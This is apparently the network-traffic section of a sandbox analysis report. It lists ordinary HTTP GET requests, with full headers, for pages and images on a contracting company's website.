Source: global traffic	HTTP traffic detected: GET /uploads/projects/32/a5af5c8ac06932758cc7ca886fdabf1b.webp HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/projects/28/d42724b6981b1026789790a7700c638e.webp HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/projects/26/a417b2689f08829d773cb2abc660a2f4.webp HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /news HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/news/2/d80813aa6c19571f16d2a8796b810d49.jpeg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/newsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/news/10/610a9221fa6b94cfeb442620ff5d49ea.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/newsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/news/3/3ab20c2822ba796ca4c90a82eae00b78.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/newsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/news/4/0538734f181f0860806608250501d2ae.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/newsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/news/5/49f7ca793fcb324d2166d6e2a915044f.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/newsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/news/6/d7944471f1da95e5c78fcd38e3d0c93e.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/newsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/news/7/37084e21a1e397964e863e3221dbb8f2.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/newsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/dynamic/14/8b17fc00a52e697a42c3c2c98aaff156.webp HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/newsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/news/8/f4810eb779b4747ca187846d0aff124a.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/newsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/news/2/d80813aa6c19571f16d2a8796b810d49.jpeg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/news/4/0538734f181f0860806608250501d2ae.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/news/10/610a9221fa6b94cfeb442620ff5d49ea.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/news/3/3ab20c2822ba796ca4c90a82eae00b78.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/news/5/49f7ca793fcb324d2166d6e2a915044f.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/news/6/d7944471f1da95e5c78fcd38e3d0c93e.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/news/7/37084e21a1e397964e863e3221dbb8f2.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/dynamic/14/8b17fc00a52e697a42c3c2c98aaff156.webp HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/news/8/f4810eb779b4747ca187846d0aff124a.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /services HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/services/1/3fbdb2fd59d795b1615bcf06b1608459.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/servicesAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/services/8/7523864d851a062fc2bcbe906bf008d5.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/servicesAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/services/9/e453bc3c57f4421ad6cb5bc1be7d8d45.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/servicesAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/services/6/c569183b81957ddaf8c75690a8cbfe28.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/servicesAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/dynamic/16/e9cd8560c0fb5980f7f1767f84634dfb.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/servicesAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/services/2/0a2cabcf66a453f359c982144e5981b0.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/servicesAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/services/1/3fbdb2fd59d795b1615bcf06b1608459.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/services/3/cfea3c00d03e25b1000c418caee5bc94.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/servicesAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/services/5/6b7430e47711776a692abe259b42d33c.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/servicesAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/services/4/46cd0976d13895f96aeaa080fed61a69.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/servicesAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/services/7/b1dc02449d030b39b8114e1de7955bbd.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/servicesAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/services/9/e453bc3c57f4421ad6cb5bc1be7d8d45.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/services/8/7523864d851a062fc2bcbe906bf008d5.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/services/6/c569183b81957ddaf8c75690a8cbfe28.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/services/2/0a2cabcf66a453f359c982144e5981b0.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/services/3/cfea3c00d03e25b1000c418caee5bc94.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/services/4/46cd0976d13895f96aeaa080fed61a69.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/services/5/6b7430e47711776a692abe259b42d33c.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/services/7/b1dc02449d030b39b8114e1de7955bbd.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
